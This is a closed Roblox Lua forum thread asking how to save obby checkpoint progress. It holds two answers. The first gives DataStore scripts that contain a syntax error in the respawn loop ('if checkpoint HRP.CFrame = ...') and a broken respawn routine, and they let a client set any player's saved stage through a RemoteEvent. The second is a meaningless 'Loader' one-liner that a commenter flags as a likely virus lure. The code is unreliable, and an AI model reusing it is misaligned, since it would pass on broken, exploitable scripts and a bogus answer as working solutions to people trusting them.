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How to make obby checkpoints which save your data so when you rejoin you restart there? [closed]

Asked by 4 years ago

Would I add a script into the checkpoints, ServerScriptService or anywhere else which saves the players data? Like in "THE IMPOSSIBLE OBBY". If so, can I get some help?

Closed as off-topic by JesseSong

This question has been closed by our community as being off-topic from ROBLOX Lua Scripting.

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2 answers

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Answered by 4 years ago
Edited 4 years ago

You can achieve this by using simple DataStore

First you want to make the checkpoint and spawn when player joins. P.S: The spawn when player joins is optional. In my script I'm making it saves everytime players touch the checkpoint

Make Event in ReplicatedStorage called anything. In my script, I'm naming it SendData

LOCAL SCRIPT: ( Put this in StarterPlayerScript )

local Workspace = game:GetService("Workspace")
local plr = game.Players.LocalPlayer

local Checkpoints = Workspace.Check1 -- Define your checkpoints
local Stage = 1

local deb = false
local function sendDataToServer(hit)
    if plr.Stage.Value < 1 then -- for safety reason ( so player from higher stage wont lose their progress )
        if deb == false then
            deb = true

            local Event = game:GetService("ReplicatedStorage").SendData -- Your event
            if Event then
                Event:FireServer(hit.Parent.Name, Stage)
            end
            wait(3)
            deb = false
        end
    end
end

Checkpoints.Touched:Connect(sendDataToServer)

After that make a script in ServerScriptService

SERVER SCRIPT:

local DataStore = game:GetService("DataStoreService")
local stageDataStore = DataStore:GetDataStore("stageDataStore") -- your datastore
local WS = game:GetService("Workspace")

game.Players.PlayerAdded:Connect(function(plr)
    local Stage = Instance.new("NumberValue")
    Stage.Name = "Stage"
    Stage.Parent = plr

    local data = stageDataStore:GetAsync(plr.UserId)
    if data then
        plr.Stage.Value = data
        print("data loaded")
        -- loading player to checkpoint
        if plr.Stage.Value == 1 then -- this is the 1st checkpoint
            local character = plr.Character
            if character then
                local humrootpart = character:WaitForChild("HumanoidRootPart")
                humrootpart.CFrame = WS.Check1.CFrame
            end 
        end
    end
end)

local RS = game:GetService("ReplicatedStorage")


local function savePlayerData(plr, checkpoint) -- saves player data
    local player = game.Players:FindFirstChild(plr)

    player.Stage.Value = checkpoint
    local data
    data = player.Stage.Value

    stageDataStore:SetAsync(player.UserId, data)
end


RS.SendData.OnServerEvent:Connect(function(_, player, checkpoint)
    savePlayerData(player, checkpoint)
end)

-- This line is for: when player dies they respawn in the checkpoint
game.Players.PlayerAdded:Connect(function(plr)
        local checkpoint = plr.Stage.Value
        plr.CharacterAdded:Connect(function(char)
                while wait() do
                       local HRP = char:WaitForChild("HumanoidRootPart")
                       if checkpoint == 1 then
                              HRP.CFrame = WS.Check1.CFrame
                       end
                       if checkpoint HRP.CFrame = WS.Check1.CFrame then
                              break
                       end
                end
        end)
end)

If you want to make more than 1 checkpoint, copy line 7-23 and make local Checkpoints as a table and add new checkpoint inside. Let me know if this works! I am not an expert in scripting, so expect for some errors! I am sure there are better ways to do this but this is what I am using. Thank you.

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Sorry for line 44-57 in serverscript. I just realized I didn't put player respawn function after dying, so it's little bit messy. Feelings_La 399 — 4y
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Answered by 4 years ago

Use this script: Loader:Connect.OnLaunch = local Load.(567887456789865)

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That doesn't work for 1, and 2, don't suggest external sources. They often contain viruses CreationNation1 459 — 4y